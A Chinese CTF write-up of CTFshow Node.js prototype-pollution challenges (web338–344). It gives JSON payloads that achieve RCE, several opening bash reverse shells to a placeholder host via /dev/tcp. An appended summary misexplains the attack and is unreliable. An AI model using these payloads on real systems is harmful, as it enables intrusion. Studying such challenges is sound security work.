CTFshow--nodejs 原型链污染

web338

给了源码, 看到 login.js 里面有个copy() 函数

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  }
});

找到copy() 函数的用法

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

基础的原型链污染, 因为需要 满足条件 secert.ctfshow==='36dboy' , 可以输出flag,
但是secert 是否有 ctfshow不重要, 让它的原型拥有就行,
secertuser 都是 对象, 在执行 copy 操作 ,构造一个请求体污染了user的原型,
存在一个 ctfshow的属性, 值为 36dboy , 那么在 secert 的里面找不到ctfshow的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy' ,得到flag
抓个登录的包, 修改一下就行
payload:
{"username":"111","password":"111","__proto__": {"ctfshow": "36dboy"}}

在这里插入图片描述

web339

与前面一道题的区别:
在这里插入图片描述flag是一个变量, 但是也不可能知道flag的值是多少, 就不可能用上一道题的方法了.
然后还有一个 api.js

var express = require('express');
var router = express.Router();
var utils = require('../utils/common');

/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});
module.exports = router;

关键就是 Function(query)(query) 可以原型链污染用于执行命令
还是copy()那里造成的原型污染
构造相应的query的值, 得到想要执行的结果
在这里插入图片描述
也是类似于上一道题
{"__proto__":{"query":"执行的命令"}}

使用child_process 子进程 里面的exec方法可用于执行一个命令
在这里插入图片描述
Function环境下没有require函数,不能获得child_process模块,可以通过使用process.mainModule.constructor._load来代替require。

payload:(反弹shell)
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxxxx/80 0>&1\"')"}}

抓包 ,在login那里
在这里插入图片描述然后再访问一下 /api 路由, 服务器就连上了
在login路由污染, 在api路由 Function 执行
flag在login.js里面
在这里插入图片描述

web340

源码的相应的变化:

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var user = new function(){
    this.userinfo = new function(){
    this.isVIP = false;
    this.isAdmin = false;
    this.isAuthor = false;     
    };
  }
  utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);
  }else{
   return res.json({ret_code: 2, ret_msg: '登录失败'});  
  }
  
  
});

可以看到它的源码做了一点更改, 本地测试一下, 看看如何污染


function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
}

var user = new function(){
    this.userinfo = new function(){
        this.isVIP = false;
        this.isAdmin = false;
        this.isAuthor = false;
    };
}

body=JSON.parse('{"__proto__":{"__proto__":{"query":"return true"}}}')

copy(user.userinfo,body)

console.log(user.query) //return true

console.log(Function(query)()) //true

需要嵌套两层才能污染, 其他的跟上一题是一样的
userinfo 的第一个原型是 匿名函数() 再上一层 才是 object对象
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/80 0>&1\"')"}}}

web341

这一题里面没有了 /api 路由 ,需要找到其他的污染口
使用的ejs的模板引擎 , 利用ejs 进行 rce
文章: ejs的Rce利用
常用的payload: (需要污染两层)
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/80 0>&1\"');var __tmp2"}}}
随便访问一个界面就可以造成污染

web342

题目描述:
审计了1个小时发现的,此链目前网上未公开,难度稍大

跟上一道题的的不同点在于 这道题是用的jade的模板引擎
在这里插入图片描述https://geekdaxue.co/read/fosusec@ctfshow/ya8d3a
要动调分析, 看的有点懵
payload:
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/[ip]/80 0>&1\"')"}}}
在 /login 下
在这里插入图片描述

在环境变量里
在这里插入图片描述

web343

跟上一题一样
{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/[ip]/80 0>&1\"')"}}}

web344

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

过滤了 , 逗号
nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析
payload:
/?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

参考文章:
https://geekdaxue.co/read/fosusec@ctfshow/bpb6vr
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

  • 21
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Node.js中,原型链污染是一种安全漏洞,它利用了JavaScript中原型继承的特性。通过修改原型链,攻击者可以在目标对象上注入恶意属性或方法。 在提供的引用内容中,通过调用`utils.copy(user, req.body)`函数,攻击者可以实现原型链污染。在`copy`函数中,遍历`object2`的属性,并将其逐一赋值给`object1`。如果`object1`和`object2`中都存在相同的属性,那么就会调用递归函数`copy`来复制这个属性的值。这个过程中,如果`object2`中的属性也是一个对象,并且在`object1`中也存在相同的属性,那么递归调用`copy`函数会继续在这个属性上进行操作。 通过构造特定的恶意输入,攻击者可以将`Object.prototype`中的属性或方法注入到 `req.body` 对象中。在提供的代码示例中,攻击者可以设置 `req.body` 的属性 `secert` 为一个对象,从而使其继承自 `Object.prototype`。这样,`req.body` 对象就获得了 `Object.prototype` 中的所有属性和方法,包括 `toString`、`hasOwnProperty`等。进一步,当代码判断 `secert.ctfshow` 等于 `'36dboy'` 时,就会返回`flag`,使得攻击者可以绕过登录验证获取到敏感信息。 因此,通过利用原型链污染,攻击者可以在Node.js应用中实现恶意操作,并绕过原本的安全检查。为了防止原型链污染的攻击,开发者应该对输入进行严格的验证和过滤,确保不会接受恶意的输入,并且避免直接使用`Object.prototype`的属性和方法。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值